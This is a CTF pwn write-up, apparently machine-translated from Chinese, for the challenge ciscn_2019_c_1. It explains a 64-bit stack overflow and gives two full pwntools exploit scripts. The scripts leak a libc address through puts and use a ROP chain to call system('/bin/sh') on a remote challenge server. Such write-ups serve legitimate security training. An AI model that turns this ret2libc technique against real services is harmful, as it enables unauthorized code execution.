ciscn_ 2019_ c_ one

---

One 、 see file

file ciscn_2019_c_1 View file format ：

checksec ciscn_2019_c_1 View file protection ：

64 position ,NX And ASLR It's all on , No, it's for nothing

Two 、IDA Decompile

We find two main functions ：
main：


encrypt（）：

However, no callsystem Backdoor function , opened NX You need to build it yourself ROP chain .
The basic idea ：encrypt() Inside get() Can overflow , The stack size is 50h.puts() Can be used to reveal libc Base address .

Find out Get Function has overflow point offest=0x50+8

We go through Ropgadget find pop_rdi_rdi Address ：0x400c83

3、 ... and 、 The code to build

exp：

from pwn import*
from LibcSearcher import *
r=remote("node4.buuoj.cn",26336)
elf=ELF("./ciscn_2019_c_1")
ret=0x400c83
plt=elf.plt['puts']
got=elf.got['puts']
main_addr=0x400B28
r.recv()
r.sendline("1")
r.recvuntil("encrypted\n")
p=flat("a"*0x58)+p64(ret)+p64(got)+p64(plt)+p64(main_addr)
r.sendline(p)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")
addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
print(libcbase)

Libc Base address ：

Continue building ：

from pwn import*
from LibcSearcher import *
r=remote("node4.buuoj.cn",26336)
elf=ELF("./ciscn_2019_c_1")
ret=0x400c83
plt=elf.plt['puts']
got=elf.got['puts']
main_addr=0x400B28
r.recv()
r.sendline(b"1")
r.recvuntil(b"encrypted\n")
p=b"a"*0x58+p64(ret)+p64(got)+p64(plt)+p64(main_addr)
r.sendline(p)
r.recvuntil(b"Ciphertext\n")
r.recvuntil(b"\n")
addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
print(libcbase)
r.recv()
r.sendline(b"1")
r.recvuntil(b"encrypted\n")
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
res=0x4006b9
p1=b"a"*0x58+p64(res)+p64(ret)+p64(bin_sh)+p64(sys_addr)
r.sendline(p1)
r.interactive()

After this step, you can get flag 了
direct cat flag：

But I encountered such a problem here ：
timeout: the monitored command dumped core
At this time, he has many choices ：

Let's try another option

---

summary

It's really annoying , I met three different types of questions today , bolt Q 了 .